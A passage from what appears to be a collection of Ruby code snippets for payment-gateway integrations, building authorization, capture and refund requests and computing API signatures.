params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n \r\n if params[:new_customer_token] && params[:new_customer_token] != false\r\n @PARAM_HASH['NEW_CUST_TOKEN'] = params[:new_customer_token] == true ? SecureRandom.hex(8) : params[:new_customer_token]\r\n end\r\n end", "def build_purchase_or_authorization_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n \n add_credit_card(xml, credit_card, options[:billing_address] || options[:address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n xml.target!\n end", "def successful_authorize_response\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <Overview>\n <AuthCode DataType=\"String\">889350</AuthCode>\n <CcErrCode DataType=\"S32\">1</CcErrCode>\n <CcReturnMsg DataType=\"String\">Approved.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1212066788586</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <OrderId DataType=\"String\">483e6382-7d12-3001-002b-0003bac00fc9</OrderId>\n <TransactionId DataType=\"String\">483e6382-7d13-3001-002b-0003bac00fc9</TransactionId>\n <TransactionStatus DataType=\"String\">A</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def authorize(options = {})\n @post = ActiveMerchant::PostData.new\n\n self.add_receivers(options)\n self.add_customer(options)\n self.add_meta(options)\n self.add_callbacks(options)\n\n response = commit(:authorize)\n @token = response.success? ? response.token : nil\n response\n end", "def authorize(params)\n\n query = {\n 'publisher-name' => publisher_name,\n 'mode' => 'auth'\n }\n\n # Set up HTTP request query parameters from method parameters.\n possible_params = %w(card-number card-name card-type card-amount card-exp card-cvv\n email ship-name address1 address2 city state zip country)\n possible_params.each do |param|\n query[param] = CGI.unescape(params[param]) if params[param]\n end\n\n # Show the query in the log if debug mode.\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay URL: #{api_url}\") if debug\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay query data: #{query.inspect}\") if debug\n\n # Perform HTTP request.\n response_string = Service.post(api_url, :body => query)\n RAILS_DEFAULT_LOGGER.warn(\"Plug N Pay response: \" +\n (response_string.nil? ? 'nil' : CGI.unescape(response_string.gsub(/\\&/,\"\\n\")))) if debug\n\n raise Problem, \"No response\" if response_string.nil?\n\n # Parse HTTP response into a Ruby hash.\n response_values = response_string.split(/\\&/)\n response = Hash[*response_values.collect {|value|\n [value.match(/^(.*)\\=/)[1], value.match(/\\=(.*)$/)[1]] }.flatten]\n\n # Raise errors if necessary.\n case response['FinalStatus']\n when /badcard/i\n raise BadCard, CGI.unescape(response['MErrMsg'])\n when /problem/i\n raise Problem, CGI.unescape(response['MErrMsg'])\n when /fraud/i\n raise Fraud, CGI.unescape(response['MErrMsg'])\n else\n # Return the response.\n response\n end\n end", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def generate_authorization_token\n \t# create the token that contains the necessary elements to authorize the user\t\n \t# using a nested array because the alphabetical order must be maintained\n \ttoken = [['credentials', self.user.to_credential_string,], ['identity', self.user.to_identity_string], ['time', Time.now.to_i.to_s]]\n \tencoded_parms = token.collect {|pair| pair[1] = CGI.escape(pair[1]); pair.join('=')}.join('&')\n\n digest = Digest::SHA2.new\n digest.update(encoded_parms)\n\n hmac = HMAC::SHA256.new(self.options[:shared_secret])\n hmac.update(encoded_parms)\n\n # add the hashed digital signature to the end of the query parameters\n encoded_parms += \"&signature=#{hmac.hexdigest}\"\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def authorize(options)\n response = gateway.authorize(options.fetch(:amount), options.fetch(:creditcard), options[:extra])\n transaction_id = response.success? ? response.params['transaction_id'] : nil\n [transaction_id, response]\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def createAcl(roles)\n header = Nokogiri::XML('<?xml version = \"1.0\" encoding = \"UTF-8\" standalone =\"yes\"?>')\n builder = Nokogiri::XML::Builder.with(header) do |xml|\n xml.Policy('PolicyId' => 'mediapackage-1',\n 'RuleCombiningAlgId' => 'urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides',\n 'Version' => '2.0',\n 'xmlns' => 'urn:oasis:names:tc:xacml:2.0:policy:schema:os') {\n roles.each do |role|\n xml.Rule('RuleId' => \"#{role[:user]}_#{role[:permission]}_Permit\", 'Effect' => 'Permit') {\n xml.Target {\n xml.Actions {\n xml.Action {\n xml.ActionMatch('MatchId' => 'urn:oasis:names:tc:xacml:1.0:function:string-equal') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:permission]) }\n xml.ActionAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:1.0:action:action-id',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n }\n xml.Condition{\n xml.Apply('FunctionId' => 'urn:oasis:names:tc:xacml:1.0:function:string-is-in') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:user]) }\n xml.SubjectAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:2.0:subject:role',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n end\n }\n end\n\n return builder.to_xml\nend", "def authorize(params = {})\n open_url authorize_url(params)\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def auth(amount, trans_id='')\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\n @PARAM_HASH['AMOUNT'] = amount\n @PARAM_HASH['RRNO'] = trans_id\n end", "def build_purchase_or_authorization_request_with_credit_card_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n if options[:set_up_continuous_authority]\n xml.tag! :ContAuthTxn, :type => 'setup'\n end\n xml.tag! :CardTxn do\n xml.tag! :method, type\n add_credit_card(xml, credit_card, options[:billing_address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n xml.tag! :Order do\n add_customer_profile(xml, options[:email], options[:ip_address])\n end\n end\n end\n end\n xml.target!\n end", "def build_purchase_or_authorization_request_with_token_request(type, money, token, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n add_token(xml, token, options[:expiry], options[:billing_address], options[:cvv])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n xml.tag! :Order do\n add_customer_profile(xml, options[:email], options[:ip_address])\n end\n end\n end\n end\n xml.target!\n end", "def generate_auth_header(params)\n auth_header_value = \"\"\n params.each_pair{|key, value|\n auth_header_value += \",\" if auth_header_value.length > 0\n auth_header_value += \"#{key.urlencode}=\\\"#{value.urlencode}\\\"\"\n }\n\n return auth_header_value\n end", "def add_token(xml, token, expiry, address, cv2)\n\n xml.tag! :Card do\n\n # DataCash calls the CC number 'pan'\n xml.tag! :pan, {type: 'token'}, token\n xml.tag! :expirydate, format_date(expiry.month, expiry.year)\n\n xml.tag! :Cv2Avs do\n xml.tag! :cv2, cv2\n xml.tag! :cv2_present, '1'\n\n if address\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:city] unless address[:city].blank?\n xml.tag! :street_address4, address[:state] unless address[:state].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n xml.tag! :country, address[:country] unless address[:country].blank?\n end\n # The ExtendedPolicy defines what to do when the passed data\n # matches, or not...\n #\n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n # xml.tag! :ExtendedPolicy do\n # xml.tag! :cv2_policy,\n # :notprovided => POLICY_REJECT, # REJ\n # :notchecked => POLICY_REJECT, # REJ\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_REJECT\n # xml.tag! :postcode_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # xml.tag! :address_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # end\n end\n end\n end", "def to_xml\n Builder.new(owner, grants).to_s\n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def generate_oauth_signature params, url\n base_request_uri = CGI::escape(url.to_s)\n query_params = []\n\n params.sort.map do |key, value|\n query_params.push(encode_param(key.to_s) + \"%3D\" + encode_param(value.to_s))\n end\n\n query_string = query_params\n .join(\"%26\")\n string_to_sign = \"#{@method}&#{base_request_uri}&#{query_string}\"\n\n if ![\"v1\", \"v2\"].include? @version\n consumer_secret = \"#{@consumer_secret}&\"\n else\n consumer_secret = @consumer_secret\n end\n\n return Base64.strict_encode64(OpenSSL::HMAC.digest(digest, consumer_secret, string_to_sign))\n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code = authorization.to_s.split(';')\n \n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n \n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def authorise_payment_request(attributes = {})\n Adyen::REST::AuthorisePayment::Request.new('Payment.authorise', attributes,\n response_class: Adyen::REST::AuthorisePayment::Response)\n end", "def append_api_credentials(params)\n is_param_defined(params) do\n params = Struct::ApiCredentials.new\n params.version = Struct::Version.new\n end \n if params.merchant_id == nil \n params.merchant_id = self.config.merchant_id\n end\n if params.merchant_key == nil\n params.merchant_key = self.config.merchant_key\n end\n if params.version.client == nil\n params.version.client = ZipMoney::Configuration::API_NAME + \" Version:\" + ZipMoney::Configuration::API_VERSION\n end\n if params.version.platform == nil\n params.version.platform = ZipMoney::Configuration::API_PLATFORM\n end\n params \n end", "def build_creditcard_from_params(params)\n ActiveMerchant::Billing::CreditCard.new(\n :number => params[:number],\n :month => params[:month],\n :year => params[:year],\n :first_name => params[:first_name],\n :last_name => params[:last_name],\n :verification_value => params[:verification])\n end", "def authorize_credit_card\n main_body = {\n createTransactionRequest: {\n merchantAuthentication: merchant_authentication,\n transactionRequest: {\n transactionType: 'authOnlyTransaction',\n amount: '8.75',\n payment: {\n creditCard: {\n cardNumber: '5424000000000015',\n expirationDate: '1220',\n cardCode: '900'\n }\n }\n }\n }\n }\n\n response = self.class.post('', basic_auth: @auth, body: main_body.to_json,\n headers: { 'Content-Type' => 'application/json' })\n JSON.parse(response.body.delete(''))\n end", "def generate\n data = flatten(stringify_keys(@params)).join\n digest = OpenSSL::Digest::Digest.new(\"sha1\")\n Base64.encode64(OpenSSL::HMAC.digest(digest, @auth_token, \"#{@url}#{data}\")).strip\n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def transloadit_params_signature(params)\n auth_secret = Lynr.config('app')['transloadit']['auth_secret']\n return nil if auth_secret.nil?\n digest = OpenSSL::Digest::Digest.new('sha1')\n OpenSSL::HMAC.hexdigest(digest, auth_secret, JSON.generate(params))\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n\n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id]) unless options[:order_id].nil?\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def create\n request = Request.post('authorizations/request', 'v2', params)\n response = Response.new(request)\n update_attributes(response.serialize)\n\n response.success?\n end", "def body\n <<-XML\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <#{@command}Request xmlns=\"urn:ebay:apis:eBLBaseComponents\">\n #{requester_credentials_xml}\n #{input_xml}\n </#{@command}Request>\n XML\n end", "def authorize(money, creditcard, options = {})\r\n request = RocketGate::GatewayRequest.new\r\n response = RocketGate::GatewayResponse.new\r\n service = RocketGate::GatewayService.new\r\n if test? # Test transaction?\r\n service.SetTestMode(true) # Set internal test mode\r\n end\r\n\r\n#\r\n#\tAdd the details of the transaction to the request.\r\n#\r\n add_merchant_data(request, options) # Add merchant information\r\n add_customer_data(request, options) # Add customer information\r\n add_invoice_data(request, money, options)\r\n add_creditcard(request, creditcard) # Add credit card data\r\n add_address(request, options[:billing_address])\r\n add_business_rules_data(request, options)\r\n\r\n#\r\n#\tPeform the transaction and return a response.\r\n#\r\n service.PerformAuthOnly(request, response)\r\n return create_response(response)\r\n end", "def set_ach_information(params = {})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'ACH'\r\n @PARAM_HASH['ACH_ROUTING'] = params[:ach_routing]\r\n @PARAM_HASH['ACH_ACCOUNT'] = params[:ach_account]\r\n @PARAM_HASH['ACH_ACCOUNT_TYPE'] = params[:ach_account_type]\r\n @PARAM_HASH['DOC_TYPE'] = params[:doc_type] || ''\r\n end", "def set_ach_information(params = {})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'ACH'\r\n @PARAM_HASH['ACH_ROUTING'] = params[:ach_routing]\r\n @PARAM_HASH['ACH_ACCOUNT'] = params[:ach_account]\r\n @PARAM_HASH['ACH_ACCOUNT_TYPE'] = params[:ach_account_type]\r\n @PARAM_HASH['DOC_TYPE'] = params[:doc_type] || ''\r\n end", "def authorize(attribs={})\n params = parse_request_params(attribs)\n parsed, creds = request(:post, resource_path+'/authorize', params)\n factory(parsed, creds)\n end", "def set_cc_information(params={})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\r\n @PARAM_HASH['CC_NUM'] = params[:cc_number] || ''\r\n @PARAM_HASH['CC_EXPIRES'] = params[:cc_expiration] || ''\r\n @PARAM_HASH['CVCVV2'] = params[:cvv2] || ''\r\n end", "def generate_signature parameters\n temp = ''\n params = parameters.sort\n params.each do |array|\n temp += array[0].to_s + array[1].to_s\n end\n signature = @api_secret + temp\n Digest::MD5.hexdigest(signature)\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def set_cc_information(params={})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\r\n @PARAM_HASH['CC_NUM'] = params[:cc_number] || ''\r\n @PARAM_HASH['CC_EXPIRES'] = params[:cc_expiration] || ''\r\n @PARAM_HASH['CVCCVV2'] = params[:cvv2] || ''\r\n end", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end", "def authorize(money, authorization_or_credit_card, options = {})\n requires!(options, :order_id)\n\n if authorization_or_credit_card.is_a?(String)\n request = build_purchase_or_authorization_request_with_token_request(PRE_TYPE, money, authorization_or_credit_card, options)\n #request = build_purchase_or_authorization_request_with_continuous_authority_reference_request(AUTH_TYPE, money, 